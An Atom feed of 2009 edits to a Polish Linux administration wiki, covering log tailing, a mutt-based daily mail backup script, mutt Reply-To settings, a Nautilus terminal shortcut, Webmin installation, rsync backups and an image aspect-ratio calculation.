&amp;lt;pre&amp;gt;&lt;br /&gt;
tail -f /var/log/mail.log&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Powyższa komenda ma jedną wielką zaletę, plik będzie automatycznie odświeżany, co za tym idzie będziemy mieć wrażenie iż logi są drukowane na nasze żądanie. W połączeniu z SSH w łatwy sposób będziemy mogli skopiować interesujące nas fragmenty.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Wypluwanie_logow_na_konsole_tail.png&amp;diff=216</id>
		<title>Plik:Wypluwanie logow na konsole tail.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Wypluwanie_logow_na_konsole_tail.png&amp;diff=216"/>
		<updated>2009-08-25T08:35:14Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;tail -f /var/mail.log&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Wypluwanie_logow_na_konsole_tail.png&amp;diff=215</id>
		<title>Plik:Wypluwanie logow na konsole tail.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Wypluwanie_logow_na_konsole_tail.png&amp;diff=215"/>
		<updated>2009-08-25T08:34:31Z</updated>

		<summary type="html">&lt;p&gt;Stare: tail -f /var/syslog&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;tail -f /var/syslog&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Mail_backup&amp;diff=214</id>
		<title>Mail backup</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Mail_backup&amp;diff=214"/>
		<updated>2009-08-25T08:26:15Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Backup ważnych danych, na zewnętrzny serwer pocztowy.&lt;br /&gt;
&lt;br /&gt;
Instalujemy aplikację odpowiedzialną za wysyłkę wiadomości wraz z załącznikami.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install mutt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Testujemy wysyłkę&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mutt -s &amp;quot;To tylko test&amp;quot;  adres@email &amp;lt;tresc.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jeżeli chcemy zmienić adres reply-to przeczytaj to: &lt;br /&gt;
[[Mutt_zmiana_pola_(reply-to)_dla_wysyłanych_wiadomości|Zmiana adresu odpowiedzi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sprawdzamy pocztę:&lt;br /&gt;
[[Grafika:New.png|thumb|Nasza Wiadomość]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sprawdzamy czy otrzymaliśmy wiadomość, prawdopodobnie zostanie ona uznana za spam, ale w naszym wypadku nie odgrywa to żadnej roli. Ponieważ  nadawca będzie statyczny, tak więc dodamy się do &amp;quot;White Listy&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test pomyślny, druga próba, tym razem z załącznikiem.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mutt -s &amp;quot;To tylko test&amp;quot; -a backup.tar.gz adres@email &amp;lt;tresc.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sprawdzamy pocztę&lt;br /&gt;
[[Grafika:Screenshot4.png|thumb|Nasza Wiadomość z załącznikiem]]&lt;br /&gt;
&lt;br /&gt;
Otrzymaliśmy wiadomość z naszym plikiem kopii zapasowej.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Uwaga: jeżeli zamieżamy wysyłać DUŻE załączniki, trzeba odpowiednio wyedytować plik konfiguracyjny naszego serwera poczty. &lt;br /&gt;
W moim wypadku (dystrybucja Ubuntu) postfix.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano /etc/postfix/main.cf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zwiększamy delikatnie limit wiadomości:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#mailbox_size_limit = 0&lt;br /&gt;
mailbox_size_limit = 30000000000&lt;br /&gt;
message_size_limit = 10240000000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powinno wystarczyć :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Jako że jesteśmy w dwudziestym pierwszym wieku, nic nie będziemy robić recznie. Zajmiemy się teraz procesem automatyzacji.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) Tworzymy ścieżkę gdzie będziemy przechowywac kopię zapasową.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;mkdir /home/administrator/.temp_backup_mail&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) przygotowujemy skrypt mail_backup.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
czas=`date`&lt;br /&gt;
backup_folder=&amp;quot;/home/administrator/.temp_backup_mail&amp;quot;&lt;br /&gt;
backup_tresc=&amp;quot;/home/administrator/NetBeansProjects&amp;quot;&lt;br /&gt;
&lt;br /&gt;
backup_file=&amp;quot;$backup_folder/$(date +%d%m%y).zip&amp;quot;&lt;br /&gt;
backup_dane=&amp;quot;Kopia zapasowa wykoana &amp;quot;$czas&amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
zip -r $backup_file $backup_tresc &amp;gt;$backup_folder/tresc.txt&lt;br /&gt;
&lt;br /&gt;
mutt -s &amp;quot;Kopia zapasowa $czas&amp;quot; -a $backup_file mail@domena.com &amp;lt;$backup_folder/tresc.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Testujemy :)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh mail_backup.sh &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Otwieramy pocztę:&lt;br /&gt;
[[Grafika:Mailpomyslnie.png|thumb|Załącznik, data, a w treści logi :)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jeżeli wszystko działa&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cp mail_backup.sh /etc/cron.daily/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jeszcze uprwanienia&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo chmod +x ./mail_backup.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No i czekamy do rana, żeby zobaczyć swierzutką kopię, na zewnętrznym serwerze :).&lt;br /&gt;
&lt;br /&gt;
Dla paranoików, ustawiamy na koncie pocztowym przekierowanie na drugie. I mamy nasz backup na 2 niezależnych serwerach.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Polecam używać poczty która ma załączniki do 100 mb :)&lt;br /&gt;
Ewentualnie, jeżeli ktoś chce, to w pętli for dopisać dzielenie na 10 megowe pliki.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Mutt_zmiana_pola_(reply-to)_dla_wysy%C5%82anych_wiadomo%C5%9Bci&amp;diff=213</id>
		<title>Mutt zmiana pola (reply-to) dla wysyłanych wiadomości</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Mutt_zmiana_pola_(reply-to)_dla_wysy%C5%82anych_wiadomo%C5%9Bci&amp;diff=213"/>
		<updated>2009-08-25T08:24:05Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Aby zmienić nagłówek reply-to dla wysyłanych wiadomości przez mutt trzeba przeedytowac jeden plik.   &amp;#039;&amp;#039;(w wypadku konta root, należy pominąć /home/ !)&amp;#039;&amp;#039; &amp;lt;pre&amp;gt; n…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Aby zmienić nagłówek reply-to dla wysyłanych wiadomości przez mutt trzeba przeedytowac jeden plik.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;(w wypadku konta root, należy pominąć /home/ !)&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano /home/`whoami`/.muttrc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I dodać treść&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
my_hdr Reply-To: login@domena.gdzie.maja.odpisywac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Otw%C3%B3rz_folder_w_terminalu_(menu_kontekstowe_gnome)&amp;diff=212</id>
		<title>Otwórz folder w terminalu (menu kontekstowe gnome)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Otw%C3%B3rz_folder_w_terminalu_(menu_kontekstowe_gnome)&amp;diff=212"/>
		<updated>2009-08-24T19:35:22Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:Ptawy terminal otworz folder.png|200px|thumb|right|Efekt finalny]]&lt;br /&gt;
Jedną z najważniejszych opcji w trakcie pracy z systemem linuksowym jest błyskawiczny dostęp do terminalu.&lt;br /&gt;
&lt;br /&gt;
Aby ułatwić sobie zadanie, najlepiej będzie dodać opcje &amp;quot;otwarcia aktualnego folderu&amp;quot; w terminalu, w prawym klawiszu myszy.&lt;br /&gt;
&lt;br /&gt;
Tak jak widoczne po prawej stronie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zabawa jest bardzo prosta.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;(w wypadku konta root, należy pominąć /home/ !)&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir/home/`whoami`/.gnome2/nautilus-scripts&lt;br /&gt;
nano /home/`whoami`/.gnome2/nautilus-scripts/Terminal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dodajemy treść&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
gnome-terminal&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Oraz ostatecznie uprawnienie nie do uruchamiania.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 chmod +x /home/`whoami`/.gnome2/nautilus-scripts/Terminal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina&amp;diff=211</id>
		<title>Instalacja webmina</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina&amp;diff=211"/>
		<updated>2009-08-24T16:01:43Z</updated>

		<summary type="html">&lt;p&gt;Stare: stronę Instalacja webmina przeniósł do Instalacja webmina (webmin)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#PATRZ [[Instalacja webmina (webmin)]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=210</id>
		<title>Instalacja webmina (webmin)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=210"/>
		<updated>2009-08-24T16:01:43Z</updated>

		<summary type="html">&lt;p&gt;Stare: stronę Instalacja webmina przeniósł do Instalacja webmina (webmin)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Aby zainstalować najnowszą wersję Webmina.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget http://downloads.sourceforge.net/project/webadmin/webmin/1.480/webmin_1.480_all.deb?use_mirror=dfn&lt;br /&gt;
dpkg -i webmin_1.480_all.deb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dostęp możliwy jest na 10000 na połączeniu szyfrowanym SSL.&lt;br /&gt;
&lt;br /&gt;
https://localhost:10000&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=209</id>
		<title>Jak poprawnie obliczyć zmianę rozdzielczości (skala)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=209"/>
		<updated>2009-08-23T21:16:02Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Czasami wymagane jest odwołanie do matematyki wyższej, w sytuacji kiedy chcemy napisać funkcję skalującą obrazy (PHP GD).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aby szachować, tak zwany &amp;quot;aspect ratio&amp;quot; trzeba obliczyć skalę.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy obrazek:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*wysokość: 505px&lt;br /&gt;
*szerokość: 835px&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
k = 505/835 = 0.6047904&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
(skala aktualnego obrazka)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nowa skala dla obrazka o szerokości 780px;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x = 780 * k = 483.83&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
W zaokrągleniu wysokość wynosi 484px&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taki wzór bardzo łatwo zaimplementować w dowolną bibliotekę graficzną, aby uzyskać zmiany proporcji zdjęć bez niszczenia kształtu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=208</id>
		<title>Jak poprawnie obliczyć zmianę rozdzielczości (skala)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=208"/>
		<updated>2009-08-23T20:58:46Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Czasami wymagane jest odwołanie do matematyki wyższej, w sytuacji kiedy chcemy napisać funkcję skalującą obrazy (PHP GD).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aby szachować, tak zwany &amp;quot;aspect ratio&amp;quot; trzeba obliczyć skalę.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy obrazek:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*wysokość: 505px&lt;br /&gt;
*szerokość: 835px&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
k = 505/835 = 0.6047904&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
(skala aktualnego obrazka)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nowa skala dla obrazka o wysokości 780px;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x = 780 * k = 483.83&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
W zaokrągleniu szerokość wynosi 484px&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taki wzór bardzo łatwo zaimplementować w dowolną bibliotekę graficzną, aby uzyskać zmiany proporcji zdjęć bez niszczenia kształtu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=207</id>
		<title>Jak poprawnie obliczyć zmianę rozdzielczości (skala)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=207"/>
		<updated>2009-08-23T20:58:20Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Czasami wymagane jest odwołanie do matematyki wyższej, w sytuacji kiedy chcemy napisać funkcję skalującą obrazy (PHP GD).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aby szachować, tak zwany &amp;quot;aspect ratio&amp;quot; trzeba obliczyć skalę.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy obrazek:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*wysokość: 505px&lt;br /&gt;
*szerokość: 835px&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
k = 505/835 = 0.6047904&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
(skala aktualnego obrazka)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nowa skala dla obrazka o wysokości 780px;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x = 780 * k = 483.83&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
W zaokrągleniu szerokość wynosi 484px&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taki wzór bardzo łatwo zaimplementować w dowolną bibliotekę graficzną, aby uzyskać zmiany proporcji zdjęć bez niszczenia kształtu.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=206</id>
		<title>Jak poprawnie obliczyć zmianę rozdzielczości (skala)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_poprawnie_obliczy%C4%87_zmian%C4%99_rozdzielczo%C5%9Bci_(skala)&amp;diff=206"/>
		<updated>2009-08-23T20:58:05Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Czasami wymagane jest odwołanie do matematyki wyższej, w sytuacji kiedy chcemy napisać funkcję skalującą obrazy (PHP GD).   Aby szachować, tak zwany &amp;quot;aspect rati…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Czasami wymagane jest odwołanie do matematyki wyższej, w sytuacji kiedy chcemy napisać funkcję skalującą obrazy (PHP GD).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aby szachować, tak zwany &amp;quot;aspect ratio&amp;quot; trzeba obliczyć skalę.&lt;br /&gt;
&lt;br /&gt;
Przykładowy obrazek:&lt;br /&gt;
&lt;br /&gt;
*wysokość: 505px&lt;br /&gt;
*szerokość: 835px&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
k = 505/835 = 0.6047904&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
(skala aktualnego obrazka)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nowa skala dla obrazka o wysokości 780px;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x = 780 * k = 483.83&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
W zaokrągleniu szerokość wynosi 484px&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taki wzór bardzo łatwo zaimplementować w dowolną bibliotekę graficzną, aby uzyskać zmiany proporcji zdjęć bez niszczenia kształtu.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Rsync&amp;diff=205</id>
		<title>Rsync</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Rsync&amp;diff=205"/>
		<updated>2009-08-23T20:50:02Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „ Backupowanie &amp;quot;/&amp;quot; przez rsync.  &amp;lt;pre&amp;gt; rsync --progress --delete -avz -e ssh root@192.168.0.45:/ /media/disk-1/RAIDBACKUP &amp;lt;/pre&amp;gt;  *&amp;#039;&amp;#039;&amp;#039;/media/disk-1/RAIDBACKUP&amp;#039;&amp;#039;&amp;#039; - ście…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Backupowanie &amp;quot;/&amp;quot; przez rsync.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
rsync --progress --delete -avz -e ssh root@192.168.0.45:/ /media/disk-1/RAIDBACKUP&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;/media/disk-1/RAIDBACKUP&#039;&#039;&#039; - ścieżka docelowa &lt;br /&gt;
*&#039;&#039;&#039;root@192.168.0.45:/&#039;&#039;&#039; - użytkownik, serwer, oraz ścieżka źródłowa, w tym wypadku /&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=204</id>
		<title>Instalacja webmina (webmin)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=204"/>
		<updated>2009-08-23T15:26:33Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Aby zainstalować najnowszą wersję Webmina.  &amp;lt;pre&amp;gt; wget http://downloads.sourceforge.net/project/webadmin/webmin/1.480/webmin_1.480_all.deb?use_mirror=dfn dpkg -i web…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Aby zainstalować najnowszą wersję Webmina.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget http://downloads.sourceforge.net/project/webadmin/webmin/1.480/webmin_1.480_all.deb?use_mirror=dfn&lt;br /&gt;
dpkg -i webmin_1.480_all.deb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dostęp możliwy jest na 10000 na połączeniu szyfrowanym SSL.&lt;br /&gt;
&lt;br /&gt;
https://localhost:10000&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
</feed>